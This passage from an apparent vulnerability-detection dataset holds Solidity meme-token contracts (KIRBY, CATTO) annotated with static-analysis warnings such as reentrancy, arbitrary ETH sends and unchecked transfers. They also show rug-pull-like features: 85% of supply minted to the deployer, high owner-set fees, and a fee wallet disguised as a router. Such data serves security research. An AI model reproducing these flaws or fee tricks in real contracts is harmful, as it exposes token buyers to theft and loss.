amount;\n\n\t\t\t// reentrancy-no-eth | ID: a038cf2\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: 47488ca\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract KIRBY is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5ed70da): KIRBY.uniswapV2Pair should be immutable \n\t// Recommendation for 5ed70da: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bb4b1a3): KIRBY.deployerWallet should be immutable \n\t// Recommendation for bb4b1a3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bbff15d): KIRBY.marketingWallet should be immutable \n\t// Recommendation for bbff15d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: cf084b5): KIRBY._name shadows ERC20._name\n\t// Recommendation for cf084b5: Remove the state variable shadowing.\n string private constant _name = \"KIRBY\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 213b3a2): KIRBY._symbol shadows ERC20._symbol\n\t// Recommendation for 213b3a2: Remove the state variable shadowing.\n string private constant _symbol = \"Kirby\";\n\n\t// WARNING Optimization Issue (constable-states | ID: fdcf015): KIRBY.initialTotalSupply should be constant \n\t// Recommendation for fdcf015: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 420_690_000_000 * 1e18;\n\n uint256 public maxTransactionAmount = 8_413_800_000 * 1e18;\n\n uint256 public maxWallet = 8_413_800_000 * 1e18;\n\n uint256 public swapTokensAtAmount = 4_206_900_000 * 1e18;\n\n bool public enableTrade = false;\n\n uint256 public BuyFee = 20;\n\n uint256 public SellFee = 35;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8618e6b): KIRBY.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for 8618e6b: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: 8618e6b\n marketingWallet = payable(wallet);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n uint devTx = initialTotalSupply.mul(85).div(100);\n\n uint remain = initialTotalSupply.sub(devTx);\n\n _mint(deployerWallet, devTx);\n\n _mint(address(this), remain);\n }\n\n receive() external payable {}\n\n function openTrade() external onlyOwner {\n enableTrade = true;\n }\n\n function excludeFromMaxTransaction(address updAds, bool isEx) private {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) private {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 47488ca): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 47488ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a038cf2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a038cf2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n bool isTransfer = !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to];\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!enableTrade) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0 && !isTransfer;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 47488ca\n\t\t\t// reentrancy-no-eth | ID: a038cf2\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: a038cf2\n swapping = false;\n }\n\n bool takeFee = !swapping && !isTransfer;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 47488ca\n\t\t\t\t// reentrancy-no-eth | ID: a038cf2\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 47488ca\n\t\t// reentrancy-no-eth | ID: a038cf2\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 47488ca\n\t\t// reentrancy-no-eth | ID: a038cf2\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeSkullLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxTransactionAmount = totalSupplyAmount;\n\n maxWallet = totalSupplyAmount;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4b56ab3): KIRBY.clearStuckEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for 4b56ab3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function clearStuckEth() external {\n require(_msgSender() == deployerWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: 4b56ab3\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 36ed46a): KIRBY.clearStuckTokens(address) ignores return value by tokenContract.transfer(deployerWallet,balance)\n\t// Recommendation for 36ed46a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearStuckTokens(address tokenAddress) external {\n require(_msgSender() == deployerWallet);\n\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to clear\");\n\n\t\t// unchecked-transfer | ID: 36ed46a\n tokenContract.transfer(deployerWallet, balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3e6ce56): KIRBY.setFee(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for 3e6ce56: Emit an event for critical parameter changes.\n function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 40 && _sellFee <= 50, \"Fees cannot exceed 99%\");\n\n\t\t// events-maths | ID: 3e6ce56\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: 3e6ce56\n SellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ddd9371): KIRBY.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for ddd9371: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: ddd9371\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function manualSwap(uint256 percent) external {\n require(_msgSender() == deployerWallet);\n\n uint256 totalSupplyAmount = totalSupply();\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (percent == 100) {\n tokensToSwap = contractBalance;\n } else {\n tokensToSwap = (totalSupplyAmount * percent) / 100;\n\n if (tokensToSwap > contractBalance) {\n tokensToSwap = contractBalance;\n }\n }\n\n require(\n tokensToSwap <= contractBalance,\n \"Swap amount exceeds contract balance\"\n );\n\n swapTokensForEth(tokensToSwap);\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if ((BuyFee + SellFee) == 0) {\n if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n } else {\n if (\n contractBalance > 0 &&\n contractBalance < swapTokensAtAmount.div(5)\n ) {\n return;\n } else if (\n contractBalance > 0 &&\n contractBalance > swapTokensAtAmount.div(5) &&\n contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = swapTokensAtAmount.div(5);\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_10857.sol",
"size_bytes": 28703,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract CATTO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: 616ec9c): CATTO._router should be constant \n\t// Recommendation for 616ec9c: Add the 'constant' attribute to state variables that never change.\n address private _router = 0xAE980A0AA1Ce5Da3B840FAF7a0e20dE3Ef6E9167;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb7a3ab): CATTO._startBuyTax should be constant \n\t// Recommendation for bb7a3ab: Add the 'constant' attribute to state variables that never change.\n uint256 private _startBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: b7c97e4): CATTO._startSellTax should be constant \n\t// Recommendation for b7c97e4: Add the 'constant' attribute to state variables that never change.\n uint256 private _startSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: c70b481): CATTO._secondBuyTax should be constant \n\t// Recommendation for c70b481: Add the 'constant' attribute to state variables that never change.\n uint256 private _secondBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8eb0935): CATTO._secondSellTax should be constant \n\t// Recommendation for 8eb0935: Add the 'constant' attribute to state variables that never change.\n uint256 private _secondSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 307f4b8): CATTO._reduceBuyTaxAt should be constant \n\t// Recommendation for 307f4b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c0d7ff): CATTO._reduceSellTaxAt should be constant \n\t// Recommendation for 0c0d7ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2f12d1): CATTO._preventSwapBefore should be constant \n\t// Recommendation for f2f12d1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _tradeCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Catto\";\n\n string private constant _symbol = unicode\"CATTO\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2326f01): CATTO._taxSwapThreshold should be constant \n\t// Recommendation for 2326f01: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93b3890): CATTO._maxTaxSwap should be constant \n\t// Recommendation for 93b3890: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 23b5d2d): CATTO.uniswapV2Router should be immutable \n\t// Recommendation for 23b5d2d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab3c76c): CATTO.sellCount should be constant \n\t// Recommendation for ab3c76c: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0030ecd): CATTO.lastSellBlock should be constant \n\t// Recommendation for 0030ecd: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2b7c6f7): CATTO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2b7c6f7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 95f6002): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 95f6002: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: da71cb6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for da71cb6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 95f6002\n\t\t// reentrancy-benign | ID: da71cb6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 95f6002\n\t\t// reentrancy-benign | ID: da71cb6\n _approve(\n sender,\n _msgSender(),\n allowance(sender, _msgSender()).sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 08043cd): CATTO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 08043cd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a73c702\n\t\t// reentrancy-benign | ID: da71cb6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 94b69ff\n\t\t// reentrancy-events | ID: 95f6002\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f8d98ce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f8d98ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 1f5a29e): CATTO._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 1f5a29e: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d86d0b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d86d0b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeAmt = 0;\n\n if (from != owner() && to != owner() && to != _router) {\n if (_tradeCount == 0) {\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceBuyTaxAt)\n ? _secondBuyTax\n : _startBuyTax\n )\n .div(100);\n }\n\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceBuyTaxAt)\n ? _secondBuyTax\n : _startBuyTax\n )\n .div(100);\n\n _tradeCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceSellTaxAt)\n ? _secondSellTax\n : _startSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _tradeCount > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: f8d98ce\n\t\t\t\t\t// reentrancy-eth | ID: d86d0b8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// reentrancy-events | ID: f8d98ce\n\t\t\t\t// tautology | ID: 1f5a29e\n\t\t\t\t// reentrancy-eth | ID: d86d0b8\n if (contractETHBalance >= 0) sendETHToFee(contractETHBalance);\n }\n }\n\n if (feeAmt > 0) {\n\t\t\t// reentrancy-eth | ID: d86d0b8\n _balances[address(this)] = _balances[address(this)].add(feeAmt);\n\n\t\t\t// reentrancy-events | ID: f8d98ce\n emit Transfer(from, address(this), feeAmt);\n }\n\n\t\t// reentrancy-eth | ID: d86d0b8\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d86d0b8\n _balances[to] = _balances[to].add(amount.sub(feeAmt));\n\n\t\t// reentrancy-events | ID: f8d98ce\n emit Transfer(from, to, amount.sub(feeAmt));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f8d98ce\n\t\t// reentrancy-events | ID: 95f6002\n\t\t// reentrancy-benign | ID: da71cb6\n\t\t// reentrancy-eth | ID: d86d0b8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f8d98ce\n\t\t// reentrancy-events | ID: 95f6002\n\t\t// reentrancy-eth | ID: d86d0b8\n payable(_router).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 94b69ff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 94b69ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1d43706): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1d43706: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a73c702): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a73c702: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f71dbe0): CATTO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f71dbe0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bc7a632): CATTO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bc7a632: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 940a523): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 940a523: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-events | ID: 94b69ff\n\t\t// reentrancy-benign | ID: 1d43706\n\t\t// reentrancy-benign | ID: a73c702\n\t\t// reentrancy-eth | ID: 940a523\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n 